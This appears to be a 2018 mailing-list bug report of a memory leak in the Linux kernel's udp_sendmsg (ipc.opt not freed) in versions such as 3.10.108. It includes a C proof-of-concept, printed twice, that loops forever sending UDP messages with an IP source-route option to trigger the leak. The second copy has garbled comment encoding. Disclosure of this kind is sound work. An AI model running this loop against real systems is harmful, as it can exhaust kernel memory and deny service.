memory leak bug at linux kernel 3.10.108 and Other some versions.

From: luo
Date: Thu Aug 02 2018 - 12:03:53 EST


In the process of learning Linux source code, I found a bug。In some versions, he can cause memory leaks, such as 3.10.108, 4.12.14, 3.19.8. Among them, 3.10 is the main line version。The ipc.opt object in the udp_sendmsg function may not be released resulting in a memory leak.Although I found that some other versions have fixed this problem, I did not pay special attention to seeing this vulnerability in the kernel vulnerability list, so I still submitted this bug.

Quan luo   360 ESG Codesafe Team ,罗权  360企业安全集团代码卫士团队

 


#include <stdio.h>
#include <stdlib.h>
#include <sys/select.h> 
#include <sys/socket.h> 
#include <arpa/inet.h> 
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <time.h>
#include <sys/types.h>
#include <pthread.h>
#include <net/if.h>
#include <errno.h>
#include <assert.h>
#define HELLO_WORLD_SERVER_PORT    6666
#define LENGTH_OF_LISTEN_QUEUE 1
#define BUFFER_SIZE 1024
#define FILE_NAME_MAX_SIZE 512
#define SERVER_PORT 8888
#define BUFF_LEN 512
#define SERVER_IP "172.0.5.182"
#define SOL_IP        0
#define IP_RETOPTS    7
#define    IPOPT_CONTROL        0x00
#define IPOPT_COPY        0x80
#define IPOPT_LSRR    (3 |IPOPT_CONTROL|IPOPT_COPY)
#define MAXLINE   256
#define MAX_MMSG_NUM 10
//#define CMSG_ALIGN(len) ( ((len)+sizeof(long)-1) & ~(sizeof(long)-1) )

//#define CMSG_DATA(cmsg)    ((void *)((char *)(cmsg) + CMSG_ALIGN(sizeof(struct cmsghdr))))
int send_opt(int fd1){
   
   
    int clifd;
    struct sockaddr_in ser_addr;
    char buf[BUFF_LEN] = "TEST UDP MSG!\n";
    char option[41]="\x83\x0b\x04\x01\x02\x03\x04\x05\x06\x07\x08";
    struct msghdr  msg;
     //struct sockaddr_un servaddr ;
    struct iovec iov  ;
     struct cmsghdr *cmptr; 
     char buf_con[CMSG_SPACE(11)];
         int  fd ;
    char* p;
clifd=fd1;
   
    //clifd = socket(AF_INET, SOCK_DGRAM, 0);
    //if(clifd < 0)
     //{
         //printf("create socket fail!\n");
         //return -1;
     //}
    ser_addr.sin_family = AF_INET;
    //ser_addr.sin_addr.s_addr = inet_addr(SERVER_IP);
    ser_addr.sin_addr.s_addr = htonl(INADDR_ANY);//0;  //注意网络序转换
    ser_addr.sin_port = htons(SERVER_PORT);  //注意网络序转换
    iov.iov_base =(void*)buf;
    iov.iov_len = MAXLINE;
   
    msg.msg_namelen =sizeof(ser_addr);
    msg.msg_name=&ser_addr;
    msg.msg_iovlen =1;
    msg.msg_iov =&iov;
     /*cmptr = CMSG_FIRSTHDR(&msg); 
     cmptr->cmsg_level = SOL_IP;   
     cmptr->cmsg_type = IP_RETOPTS;
    //msg.msg_control=option;
    //msg.msg_controllen =9;
    CMSG_DATA(cmptr) = option;
    //cmptr->cmsg_level = SOL_SOCKET; 
    cmptr->cmsg_len = CMSG_LEN(9); */
    msg.msg_control = buf_con;
    msg.msg_controllen = sizeof(buf_con);
    cmptr=CMSG_FIRSTHDR(&msg);
    cmptr->cmsg_level = SOL_IP;
    cmptr->cmsg_type = IP_RETOPTS;
    cmptr->cmsg_len = CMSG_LEN(11);
    p=CMSG_DATA(cmptr);
    memcpy(p,option,11);
    sendmsg(clifd, &msg, 0);
    printf("ok\n");
    return 0;
}






int main()
{
    int clifd = socket(AF_INET, SOCK_DGRAM, 0);
    if(clifd < 0)
     {
         printf("create socket fail!\n");
         return -1;
     }
    while(1)
    {
        send_opt(clifd);
    }
   
    return 0;
}







 

#include <stdio.h>
#include <stdlib.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <time.h>
#include <sys/types.h>
#include <pthread.h>
#include <net/if.h>
#include <errno.h>
#include <assert.h>
#define HELLO_WORLD_SERVER_PORT 6666
#define LENGTH_OF_LISTEN_QUEUE 1
#define BUFFER_SIZE 1024
#define FILE_NAME_MAX_SIZE 512
#define SERVER_PORT 8888
#define BUFF_LEN 512
#define SERVER_IP "172.0.5.182"
#define SOL_IP 0
#define IP_RETOPTS 7
#define IPOPT_CONTROL 0x00
#define IPOPT_COPY 0x80
#define IPOPT_LSRR (3 |IPOPT_CONTROL|IPOPT_COPY)
#define MAXLINE 256
#define MAX_MMSG_NUM 10
//#define CMSG_ALIGN(len) ( ((len)+sizeof(long)-1) & ~(sizeof(long)-1) )

//#define CMSG_DATA(cmsg) ((void *)((char *)(cmsg) + CMSG_ALIGN(sizeof(struct cmsghdr))))
int send_opt(int fd1){


int clifd;
struct sockaddr_in ser_addr;
char buf[BUFF_LEN] = "TEST UDP MSG!\n";
char option[41]="\x83\x0b\x04\x01\x02\x03\x04\x05\x06\x07\x08";
struct msghdr msg;
//struct sockaddr_un servaddr ;
struct iovec iov ;
struct cmsghdr *cmptr;
char buf_con[CMSG_SPACE(11)];
int fd ;
char* p;
clifd=fd1;

//clifd = socket(AF_INET, SOCK_DGRAM, 0);
//if(clifd < 0)
//{
//printf("create socket fail!\n");
//return -1;
//}
ser_addr.sin_family = AF_INET;
//ser_addr.sin_addr.s_addr = inet_addr(SERVER_IP);
ser_addr.sin_addr.s_addr = htonl(INADDR_ANY);//0; //注æ??ç½?ç»?åº?转æ?¢
ser_addr.sin_port = htons(SERVER_PORT); //注æ??ç½?ç»?åº?转æ?¢
iov.iov_base =(void*)buf;
iov.iov_len = MAXLINE;

msg.msg_namelen =sizeof(ser_addr);
msg.msg_name=&ser_addr;
msg.msg_iovlen =1;
msg.msg_iov =&iov;
/*cmptr = CMSG_FIRSTHDR(&msg);
cmptr->cmsg_level = SOL_IP;
cmptr->cmsg_type = IP_RETOPTS;
//msg.msg_control=option;
//msg.msg_controllen =9;
CMSG_DATA(cmptr) = option;
//cmptr->cmsg_level = SOL_SOCKET;
cmptr->cmsg_len = CMSG_LEN(9); */
msg.msg_control = buf_con;
msg.msg_controllen = sizeof(buf_con);
cmptr=CMSG_FIRSTHDR(&msg);
cmptr->cmsg_level = SOL_IP;
cmptr->cmsg_type = IP_RETOPTS;
cmptr->cmsg_len = CMSG_LEN(11);
p=CMSG_DATA(cmptr);
memcpy(p,option,11);
sendmsg(clifd, &msg, 0);
printf("ok\n");
return 0;
}






int main()
{
int clifd = socket(AF_INET, SOCK_DGRAM, 0);
if(clifd < 0)
{
printf("create socket fail!\n");
return -1;
}
while(1)
{
send_opt(clifd);
}

return 0;
}